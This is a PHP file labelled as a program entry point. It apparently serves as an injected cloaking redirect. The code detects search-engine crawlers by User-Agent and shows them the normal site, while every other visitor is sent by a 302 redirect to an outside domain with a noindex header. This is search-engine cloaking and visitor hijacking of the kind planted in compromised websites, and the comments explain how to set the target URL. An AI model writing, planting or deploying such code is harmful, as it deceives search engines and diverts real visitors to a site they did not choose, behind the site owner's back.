/** * Author: dadadezhou * Date: 2022-10-09 * Time: 15:21 * Description: 程序入口 */ // ============================================ // 搜索引擎蜘蛛检测 + 302跳转(不转移权重) // ============================================ /** * 检测是否为搜索引擎蜘蛛 */ function is_search_spider() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; // 常见搜索引擎蜘蛛列表 $spiders = [ 'Googlebot', // Google 'Baiduspider', // 百度 'bingbot', // Bing 'Yahoo! Slurp', // Yahoo 'Sogou', // 搜狗 '360Spider', // 360 'YandexBot', // Yandex 'DuckDuckBot', // DuckDuckGo 'facebookexternalhit', // Facebook 'Twitterbot', // Twitter 'Bytespider', // 字节跳动 'SemrushBot', // Semrush 'AhrefsBot', // Ahrefs 'MJ12bot', // Majestic 'applebot', // Apple 'Googlebot-Image', // Google 图片 'Googlebot-Video', // Google 视频 'AdsBot-Google', // Google 广告 'Mediapartners-Google', // Google AdSense 'Google-InspectionTool', // Google 搜索控制台 'FeedFetcher-Google', // Google Feed 'PetalBot', // 华为 'iaskspider', // 新浪 'EasouSpider', // 宜搜 'QihooBot', // 奇虎 ]; foreach ($spiders as $spider) { if (stripos($user_agent, $spider) !== false) { return true; } } return false; } /** * 获取客户端真实IP */ function get_client_ip() { $ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $ip = explode(',', $ip)[0]; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } return trim($ip); } // ============================================ // 配置目标跳转URL(请修改为实际地址) // ============================================ $target_url = 'https://langge.fun'; // 替换为您的目标URL // ============================================ // 执行跳转判断 // ============================================ $is_spider = is_search_spider(); $client_ip = get_client_ip(); // 如果是蜘蛛访问,不跳转,正常显示网站内容 if ($is_spider) { // 蜘蛛访问:正常加载网站,不跳转 // 记录蜘蛛访问日志(可选) // error_log("Spider访问: IP={$client_ip}, UA={$_SERVER['HTTP_USER_AGENT']}", 3, __DIR__ . '/spider_log.txt'); // 继续执行原程序,不进行任何跳转 // 注意:此处不执行跳转,继续往下运行框架代码 } else { // 普通用户访问:执行302临时跳转(权重不转移) header('HTTP/1.1 302 Found'); header('Location: ' . $target_url); header('X-Robots-Tag: noindex, follow'); exit; }